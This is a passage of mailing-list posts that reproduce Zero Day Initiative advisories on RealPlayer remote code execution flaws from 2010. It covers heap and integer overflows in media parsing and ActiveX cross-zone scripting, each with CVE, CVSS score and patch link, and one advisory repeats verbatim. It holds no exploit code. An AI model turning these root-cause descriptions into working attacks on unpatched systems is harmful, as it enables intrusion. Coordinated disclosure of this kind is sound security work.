vulnerability by Digital Vaccine protection filter ID 10606.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within how the application parses cook-specific
data used for initialization. The application will use a length in a
copy without verifying it being larger than the destination buffer.
Successful exploitation can lead to code execution under the context of
the application.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-08-25 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Damian Put

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-275: RealNetworks RealPlayer Cross-Zone Scripting Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-275: RealNetworks RealPlayer Cross-Zone Scripting Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-275

December 10, 2010

-- CVE ID:
CVE-2010-4396

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10589.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
requires in that a target must navigate to a malicious page.

The specific flaw exists within the HandleAction method of the
RealPlayer ActiveX control with CLSID
FDC7A535-4070-4B92-A0EA-D9994BCC0DC5. The vulnerable action that can be
invoked via this control is NavigateToURL. If NavigateToURL can be
pointed to a controlled file on the user's system, RealPlayer can be
made to execute scripts in the Local Zone. To accomplish this, a
malicious attacker can force a download of a skin file to a predictable
location and then point NavigateToURL at it thus achieving remote code
execution under the context of the user running RealPlayer.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-05-12 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-282: RealNetworks RealPlayer RealPix Server Header Parsing Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-282: RealNetworks RealPlayer RealPix Server Header Parsing Remote Code 
Execution Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-282

December 10, 2010

-- CVE ID:
CVE-2010-4394

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10717.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within RealPlayer's parsing of RealPix files.
If such a file contains an image tag pointing to a remote server, the
player will attempt to fetch the remote file. When parsing the response
from the web server, the process blindly copies the contents of the
Server header into a fixed length heap buffer. If an attacker provides a
large enough string, critical pointers can be overwritten allowing for
arbitrary code execution under the context of the user running the
player.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-09-24 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* AbdulAziz Hariri

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-281: RealNetworks RealPlayer RMX Header Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-281: RealNetworks RealPlayer RMX Header Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-281

December 10, 2010

-- CVE ID:
CVE-2010-4391

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10723.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the applications support for parsing the
RMX file format. When parsing the format, the application will
explicitly trust 32-bits in a field used in the header for the
allocation of an array. This can cause a buffer to be under-allocated
and will cause a buffer overflow when initializing the array. This can
lead to code execution under the context of the application.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-08-25 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Sebastian Apelt (www.siberas.de)

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-281: RealNetworks RealPlayer RMX Header Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-281: RealNetworks RealPlayer RMX Header Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-281

December 10, 2010

-- CVE ID:
CVE-2010-4391

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10723.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the applications support for parsing the
RMX file format. When parsing the format, the application will
explicitly trust 32-bits in a field used in the header for the
allocation of an array. This can cause a buffer to be under-allocated
and will cause a buffer overflow when initializing the array. This can
lead to code execution under the context of the application.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-08-25 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Sebastian Apelt (www.siberas.de)

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-276: RealNetworks RealPlayer Upsell.htm getqsval Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-276: RealNetworks RealPlayer Upsell.htm getqsval Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-276

December 10, 2010

-- CVE ID:
CVE-2010-4388

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10589.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the Upsell.htm component of the
RealPlayer default installation. Due to a failure to properly sanitize
user-supplied input, it is possible for an attacker to inject arbitrary
code into the RealOneActiveXObject process via the getqsval function.
This can be abused to bypass the Local Machine Zone security policy and
load unsafe controls. Successful exploitation of this issue leads to
remote code execution under the context of the RealPlayer application.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-06-30 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-278: RealNetworks RealPlayer Custsupport.html Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-278: RealNetworks RealPlayer Custsupport.html Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-278

December 10, 2010

-- CVE ID:
CVE-2010-4388

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10589.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the Custsupport.html component of the
RealPlayer default installation. Due to a failure to properly sanitize
user-supplied input, it is possible for an attacker to inject arbitrary
code into the RealOneActiveXObject process. This can be abused to bypass
the Local Machine Zone security policy and load unsafe controls.
Successful exploitation of this issue leads to remote code execution
under the context of the RealPlayer application.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-07-20 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-277: RealNetworks RealPlayer Main.html Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-277: RealNetworks RealPlayer Main.html Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-277

December 10, 2010

-- CVE ID:
CVE-2010-4388

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 10589.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists within the Main.html component of the
RealPlayer default installation. Due to a failure to properly sanitize
user-supplied input, it is possible for an attacker to inject arbitrary
code into the RealOneActiveXObject process. This can be abused to bypass
the Local Machine Zone security policy and load unsafe controls.
Successful exploitation of this issue leads to remote code execution
under the context of the RealPlayer application.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-07-20 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-274: RealNetworks Realplayer RV20 Stream Parsing Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-274: RealNetworks Realplayer RV20 Stream Parsing Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-274

December 10, 2010

-- CVE ID:
CVE-2010-4378

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page.

The specific flaw exists within the module responsible for decompressing
RV20 video streams. The drv2.dll trusts a value from the file as a
length and uses it within a copy loop that writes to heap memory. By
specifying large enough values, heap memory can be corrupted which can
lead to arbitrary code execution under the context of the user accessing
the media file.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2010-01-06 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-273: RealNetworks RealPlayer AAC MLLT Atom Parsing Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-273: RealNetworks RealPlayer AAC MLLT Atom Parsing Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-273

December 10, 2010

-- CVE ID:
CVE-2010-2999

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 8415.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious file.

The specific flaw exists when parsing an .AAC file containing a
malformed MLLT atom. The application utilizes a size specified in this
data structure for allocation of a list of objects. To calculate the
size for the allocation, the application will multiply this length by 8.
If the multiplication results in a value greater than 32 bits an integer
overflow will occur. When copying data into this buffer heap corruption
will occur which can lead to code execution under the context of the
currently logged in user.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2009-08-20 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-272: RealNetworks RealPlayer Cook Audio Codec Parsing Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-272: RealNetworks RealPlayer Cook Audio Codec Parsing Remote Code 
Execution Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-272

December 10, 2010

-- CVE ID:
CVE-2010-4377

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 8454.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious media file.

The specific flaw exists in the parsing of audio codec information
encapsulated in a Real Audio media file. While processing cook audio
codec data the number of subbands is improperly calculated. By
specifying a large number of subbands an allocated heap chunk can be
overflown. Successful exploitation can result in system compromise under
the credentials of the currently logged in user.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2009-06-25 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-271: RealNetworks RealPlayer RTSP GIF Parsing Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-271: RealNetworks RealPlayer RTSP GIF Parsing Remote Code Execution 
Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-271

December 10, 2010

-- CVE ID:
CVE-2010-4376

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 8308.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of RealNetworks RealPlayer. User interaction is
required to exploit this vulnerability in that the target must visit a
malicious page or open a malicious media file.

The specific flaw exists in the parsing of GIF87a files over the
streaming protocol RTSP. When specifying a large Screen Width size in
the Screen Descriptor header a calculation on the destination heap
chunks size is improperly checked for overflow. This leads to a smaller
buffer being allocated and subsequently a heap overflow when processing
the received data. Exploitation of this vulnerability can lead to system
compromise under the credentials of the currently logged in user.

-- Vendor Response:
RealNetworks has issued an update to correct this vulnerability. More
details can be found at:

http://service.real.com/realplayer/security/12102010_player/en/

-- Disclosure Timeline:
2009-06-25 - Vulnerability reported to vendor
2010-12-10 - Coordinated public release of advisory

-- Credit:
This vulnerability was discovered by:
* Anonymous

-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.

Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:

http://www.zerodayinitiative.com

The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.

Our vulnerability disclosure policy is available online at:

http://www.zerodayinitiative.com/advisories/disclosure_policy/

Follow the ZDI on Twitter:

http://twitter.com/thezdi


___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] ZDI-10-270: RealNetworks RealPlayer ICY Protocol StreamTitle Remote Code Execution Vulnerability

[ZDI Disclosures]

ZDI-10-270: RealNetworks RealPlayer ICY Protocol StreamTitle Remote Code 
Execution Vulnerability

http://www.zerodayinitiative.com/advisories/ZDI-10-270

December 10, 2010

-- CVE ID:
CVE-2010-2997

-- CVSS:
9, (AV:N/AC:L/Au:N/C:P/I:P/A:C)

-- Affected Vendors:
RealNetworks

-- Affected Products:
RealNetworks RealPlayer

-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 8344.
For further product information on the TippingPoint IPS, visit:

http://www.tippingpoint.com

-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerability installations of RealNetworks RealPlayer. User interaction
is required to exploit this vulnerability in that the target must open a
malicious SHOUTcast Stream.

The specific flaw exists in the processing of the StreamTitle tag in a
SHOUTcast stream using the ICY protocol. A specially crafted string
supplied as the property for the title can result in a failed allocation
of heap memory. This then causes the freeing of critical pointers that
are subsequently used after freeing. Successful exploitation of this
vulnerability can lead to system compromise under the credentials of the
currently logged in user.

-- Vendor Response:
